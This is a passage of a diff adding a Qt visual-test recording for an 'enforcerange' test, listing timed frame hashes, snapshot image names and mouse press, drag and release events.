+ msec: 2176
+ hash: "d4b370ff8c3b66fc8a616dd9b944abd1"
+ }
+ Frame {
+ msec: 2192
+ hash: "d4b370ff8c3b66fc8a616dd9b944abd1"
+ }
+ Frame {
+ msec: 2208
+ hash: "674b07dc5b99bf2da93c40d42dc9023d"
+ }
+ Frame {
+ msec: 2224
+ hash: "674b07dc5b99bf2da93c40d42dc9023d"
+ }
+ Frame {
+ msec: 2240
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 2256
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 2272
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 2288
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 2304
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 2320
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 2336
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 2352
+ hash: "70b475e88060ead84d05f0ba1b47c139"
+ }
+ Frame {
+ msec: 2368
+ hash: "70b475e88060ead84d05f0ba1b47c139"
+ }
+ Frame {
+ msec: 2384
+ hash: "70b475e88060ead84d05f0ba1b47c139"
+ }
+ Frame {
+ msec: 2400
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 2416
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 2432
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 2448
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 2464
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 2480
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 2496
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 2512
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 2528
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 2544
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 2560
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 2576
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 2592
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 2608
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 2624
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 2640
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 2656
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 2672
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 2688
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 2704
+ hash: "70b475e88060ead84d05f0ba1b47c139"
+ }
+ Frame {
+ msec: 2720
+ hash: "70b475e88060ead84d05f0ba1b47c139"
+ }
+ Frame {
+ msec: 2736
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 2752
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 2768
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 2784
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 2800
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 2816
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 2832
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 2848
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 2864
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 2880
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 2896
+ image: "enforcerange.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 2928
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 2944
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 2960
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 2976
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 2992
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 3008
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 3024
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 82; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3040
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 3056
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 82; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3072
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 82; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 81; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3088
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 81; y: 47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 81; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3104
+ hash: "89016574205e00cf42723446d6a3437e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 81; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 81; y: 69
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3120
+ hash: "e2db9b1ae5c4be51a548834a7776da1f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 80; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 80; y: 87
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3136
+ hash: "fcfad57224192065782a77ad3398d0d1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 80; y: 93
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 80; y: 107
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3152
+ hash: "bae4fc0fc2d33008ebe827ece94af196"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 84; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 88; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3168
+ hash: "569581944bf18c8165f72c60bdbf1011"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 96; y: 161
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 96; y: 161
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3184
+ hash: "613ff94a26bfaa9a4dc94fcbf6c3eb57"
+ }
+ Frame {
+ msec: 3200
+ hash: "a63f8e6b194f900acb1b7a332f9fb9ae"
+ }
+ Frame {
+ msec: 3216
+ hash: "6c04761cc86d28112c16f692cda58ba4"
+ }
+ Frame {
+ msec: 3232
+ hash: "544275da3f7e2ccaedc8c521bf17f59b"
+ }
+ Frame {
+ msec: 3248
+ hash: "52831480eb69184341b12ffb09ace736"
+ }
+ Frame {
+ msec: 3264
+ hash: "52831480eb69184341b12ffb09ace736"
+ }
+ Frame {
+ msec: 3280
+ hash: "52831480eb69184341b12ffb09ace736"
+ }
+ Frame {
+ msec: 3296
+ hash: "58f2b900bc335424fc70eaaeb23ceb56"
+ }
+ Frame {
+ msec: 3312
+ hash: "58f2b900bc335424fc70eaaeb23ceb56"
+ }
+ Frame {
+ msec: 3328
+ hash: "544275da3f7e2ccaedc8c521bf17f59b"
+ }
+ Frame {
+ msec: 3344
+ hash: "df9fef370c2f6ff300b20fc24b5b9e34"
+ }
+ Frame {
+ msec: 3360
+ hash: "0662898d246e5ff6981610d32e2b8375"
+ }
+ Frame {
+ msec: 3376
+ hash: "6c04761cc86d28112c16f692cda58ba4"
+ }
+ Frame {
+ msec: 3392
+ hash: "82b31c8e8794ce3a9a6a635ef93b29b3"
+ }
+ Frame {
+ msec: 3408
+ hash: "388658b5e03f3853e93173bd9501b77b"
+ }
+ Frame {
+ msec: 3424
+ hash: "cf1856e961e6b8277a82c03ace5ba864"
+ }
+ Frame {
+ msec: 3440
+ hash: "e1d022cc1b41098baffe49925b20678f"
+ }
+ Frame {
+ msec: 3456
+ hash: "a63f8e6b194f900acb1b7a332f9fb9ae"
+ }
+ Frame {
+ msec: 3472
+ hash: "044c3712a6a5f6a973defe85643c8d02"
+ }
+ Frame {
+ msec: 3488
+ hash: "044c3712a6a5f6a973defe85643c8d02"
+ }
+ Frame {
+ msec: 3504
+ hash: "e4fe2f1a81a4a4806f4155807f285a2d"
+ }
+ Frame {
+ msec: 3520
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3536
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3552
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3568
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3584
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3600
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3616
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3632
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3648
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3664
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3680
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3696
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3712
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3728
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3744
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3760
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3776
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3792
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3808
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3824
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3840
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3856
+ image: "enforcerange.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3888
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3904
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3920
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3936
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3952
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3968
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 3984
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 4000
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 4016
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 4032
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 105; y: 169
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4048
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 168
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 167
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4064
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 163
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4080
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 162
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 160
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4096
+ hash: "331164730fb7ccf37dc08ddc26c0e182"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 107; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 107; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4112
+ hash: "73e27ff972eefc421bc65897ad8b9a11"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 108; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4128
+ hash: "c5e903fd827f8f1ec060dcb9a925bf6d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 109; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4144
+ hash: "74d4357dff4d6e00c5ae9ea0c34f1010"
+ }
+ Frame {
+ msec: 4160
+ hash: "790274ee21ba257b84671a6fb19c142f"
+ }
+ Frame {
+ msec: 4176
+ hash: "65ccc26f20be484fefa8ea25a7daf825"
+ }
+ Frame {
+ msec: 4192
+ hash: "e435e2fbba7f0f6a65b9fecf07893eb0"
+ }
+ Frame {
+ msec: 4208
+ hash: "6a994a18a9331731d5fca50dce2b9cff"
+ }
+ Frame {
+ msec: 4224
+ hash: "9fc4405cddc06310215969a4583b2353"
+ }
+ Frame {
+ msec: 4240
+ hash: "0d2b7130a84a8efac1cf4fe8a1768231"
+ }
+ Frame {
+ msec: 4256
+ hash: "791db15db47090e1af299e5b32e53918"
+ }
+ Frame {
+ msec: 4272
+ hash: "0ec6cf7a6ed9a073d2ce8f9e534e2ee5"
+ }
+ Frame {
+ msec: 4288
+ hash: "c7b358f51a9500ca4958d266de5307e6"
+ }
+ Frame {
+ msec: 4304
+ hash: "d24d00e4cd1ea3aaacf202e2fdf1eaa0"
+ }
+ Frame {
+ msec: 4320
+ hash: "169f1a7a933d84071c449132a3c2745e"
+ }
+ Frame {
+ msec: 4336
+ hash: "b6bf9c15ed40d6e862f693155c884035"
+ }
+ Frame {
+ msec: 4352
+ hash: "8639955aa7a03f54d50d7e9051a4b997"
+ }
+ Frame {
+ msec: 4368
+ hash: "411bc9a9aedbfb75f3122eaea6be0c16"
+ }
+ Frame {
+ msec: 4384
+ hash: "827094da86716daf69386af2c8d4027a"
+ }
+ Frame {
+ msec: 4400
+ hash: "ddddd5457e4a54ca5e7415dc2c7eabe5"
+ }
+ Frame {
+ msec: 4416
+ hash: "632a5756af20083504fb1faaa019dd48"
+ }
+ Frame {
+ msec: 4432
+ hash: "0cc2901b1b25412f13865887a8c9d13e"
+ }
+ Frame {
+ msec: 4448
+ hash: "4c8a9473eb9843634340d70f8eab9487"
+ }
+ Frame {
+ msec: 4464
+ hash: "398a238f59a2edf07870b624b914c81d"
+ }
+ Frame {
+ msec: 4480
+ hash: "a7c282235e9166b900ea2ff68800a5f5"
+ }
+ Frame {
+ msec: 4496
+ hash: "bae4fc0fc2d33008ebe827ece94af196"
+ }
+ Frame {
+ msec: 4512
+ hash: "45e0670a2b4c18b847a3c7870539b962"
+ }
+ Frame {
+ msec: 4528
+ hash: "8d474956331fdd0c35beb13a06b7c557"
+ }
+ Frame {
+ msec: 4544
+ hash: "5d5bdffc30d90fd5b061c6fcf24c2599"
+ }
+ Frame {
+ msec: 4560
+ hash: "15721b103981f5fe40b5dfe7d65c5b38"
+ }
+ Frame {
+ msec: 4576
+ hash: "940b70f15082ff138579892bb6f20ce9"
+ }
+ Frame {
+ msec: 4592
+ hash: "5137ea98fd291a4b967fb66d93253a37"
+ }
+ Frame {
+ msec: 4608
+ hash: "35ab744ce2a91567dbbd769f9486f870"
+ }
+ Frame {
+ msec: 4624
+ hash: "d5c55c00b07735e5d7c02dfa99ef2f45"
+ }
+ Frame {
+ msec: 4640
+ hash: "6b2d32b8f1df871c2c014af8b5d87329"
+ }
+ Frame {
+ msec: 4656
+ hash: "edf3b33b80cca53999779555f9cd6162"
+ }
+ Frame {
+ msec: 4672
+ hash: "180f3cc4ea5ff5b6f9e8be0294732d4e"
+ }
+ Frame {
+ msec: 4688
+ hash: "9b99a1b0c0bb0ce37655d92854ee4d19"
+ }
+ Frame {
+ msec: 4704
+ hash: "28e9ca60a873910380b2d22d6b3df565"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 109; y: 131
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4720
+ hash: "28e9ca60a873910380b2d22d6b3df565"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 126
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 124
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4736
+ hash: "18e53bf6337cf6590fc3c73c00469d8e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 115
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 110
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4752
+ hash: "81110f17d191f9795a2c57d136e86550"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 108; y: 99
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 85
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4768
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 105; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 103; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4784
+ hash: "711274e9b6811b4662ac29d813574fb6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 102; y: 54
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 100; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 100; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4800
+ hash: "da5a30a6f9f40fbb5e2b150965be8ac0"
+ }
+ Frame {
+ msec: 4816
+ image: "enforcerange.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "090a76cf068a5041ff993f21e6ebd087"
+ }
+ Frame {
+ msec: 4848
+ hash: "6b317b59e1b0f5b17a6d7d96e745f576"
+ }
+ Frame {
+ msec: 4864
+ hash: "744227adbdd31be2920a232ea0dbc85d"
+ }
+ Frame {
+ msec: 4880
+ hash: "674b07dc5b99bf2da93c40d42dc9023d"
+ }
+ Frame {
+ msec: 4896
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 4912
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 4928
+ hash: "81110f17d191f9795a2c57d136e86550"
+ }
+ Frame {
+ msec: 4944
+ hash: "30eb157c89ad0aeb17fd0012afb9246b"
+ }
+ Frame {
+ msec: 4960
+ hash: "f9fc8467c6dbcb00d1f41a57b550193c"
+ }
+ Frame {
+ msec: 4976
+ hash: "711274e9b6811b4662ac29d813574fb6"
+ }
+ Frame {
+ msec: 4992
+ hash: "d4b370ff8c3b66fc8a616dd9b944abd1"
+ }
+ Frame {
+ msec: 5008
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 5024
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 5040
+ hash: "70b475e88060ead84d05f0ba1b47c139"
+ }
+ Frame {
+ msec: 5056
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 5072
+ hash: "81110f17d191f9795a2c57d136e86550"
+ }
+ Frame {
+ msec: 5088
+ hash: "30eb157c89ad0aeb17fd0012afb9246b"
+ }
+ Frame {
+ msec: 5104
+ hash: "6b317b59e1b0f5b17a6d7d96e745f576"
+ }
+ Frame {
+ msec: 5120
+ hash: "711274e9b6811b4662ac29d813574fb6"
+ }
+ Frame {
+ msec: 5136
+ hash: "744227adbdd31be2920a232ea0dbc85d"
+ }
+ Frame {
+ msec: 5152
+ hash: "674b07dc5b99bf2da93c40d42dc9023d"
+ }
+ Frame {
+ msec: 5168
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 5184
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 5200
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 5216
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 5232
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 5248
+ hash: "81110f17d191f9795a2c57d136e86550"
+ }
+ Frame {
+ msec: 5264
+ hash: "090a76cf068a5041ff993f21e6ebd087"
+ }
+ Frame {
+ msec: 5280
+ hash: "30eb157c89ad0aeb17fd0012afb9246b"
+ }
+ Frame {
+ msec: 5296
+ hash: "6b317b59e1b0f5b17a6d7d96e745f576"
+ }
+ Frame {
+ msec: 5312
+ hash: "f9fc8467c6dbcb00d1f41a57b550193c"
+ }
+ Frame {
+ msec: 5328
+ hash: "744227adbdd31be2920a232ea0dbc85d"
+ }
+ Frame {
+ msec: 5344
+ hash: "d4b370ff8c3b66fc8a616dd9b944abd1"
+ }
+ Frame {
+ msec: 5360
+ hash: "674b07dc5b99bf2da93c40d42dc9023d"
+ }
+ Frame {
+ msec: 5376
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 5392
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 5408
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 5424
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 5440
+ hash: "70b475e88060ead84d05f0ba1b47c139"
+ }
+ Frame {
+ msec: 5456
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 5472
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 5488
+ hash: "81110f17d191f9795a2c57d136e86550"
+ }
+ Frame {
+ msec: 5504
+ hash: "090a76cf068a5041ff993f21e6ebd087"
+ }
+ Frame {
+ msec: 5520
+ hash: "090a76cf068a5041ff993f21e6ebd087"
+ }
+ Frame {
+ msec: 5536
+ hash: "30eb157c89ad0aeb17fd0012afb9246b"
+ }
+ Frame {
+ msec: 5552
+ hash: "6b317b59e1b0f5b17a6d7d96e745f576"
+ }
+ Frame {
+ msec: 5568
+ hash: "f9fc8467c6dbcb00d1f41a57b550193c"
+ }
+ Frame {
+ msec: 5584
+ hash: "f9fc8467c6dbcb00d1f41a57b550193c"
+ }
+ Frame {
+ msec: 5600
+ hash: "711274e9b6811b4662ac29d813574fb6"
+ }
+ Frame {
+ msec: 5616
+ hash: "744227adbdd31be2920a232ea0dbc85d"
+ }
+ Frame {
+ msec: 5632
+ hash: "744227adbdd31be2920a232ea0dbc85d"
+ }
+ Frame {
+ msec: 5648
+ hash: "d4b370ff8c3b66fc8a616dd9b944abd1"
+ }
+ Frame {
+ msec: 5664
+ hash: "d4b370ff8c3b66fc8a616dd9b944abd1"
+ }
+ Frame {
+ msec: 5680
+ hash: "674b07dc5b99bf2da93c40d42dc9023d"
+ }
+ Frame {
+ msec: 5696
+ hash: "674b07dc5b99bf2da93c40d42dc9023d"
+ }
+ Frame {
+ msec: 5712
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 5728
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 5744
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 5760
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 5776
+ image: "enforcerange.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 5808
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 5824
+ hash: "70b475e88060ead84d05f0ba1b47c139"
+ }
+ Frame {
+ msec: 5840
+ hash: "70b475e88060ead84d05f0ba1b47c139"
+ }
+ Frame {
+ msec: 5856
+ hash: "70b475e88060ead84d05f0ba1b47c139"
+ }
+ Frame {
+ msec: 5872
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 5888
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 5904
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 5920
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 5936
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 5952
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 5968
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 5984
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 6000
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 6016
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 6032
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 6048
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 6064
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 6080
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 6096
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 6112
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 6128
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 6144
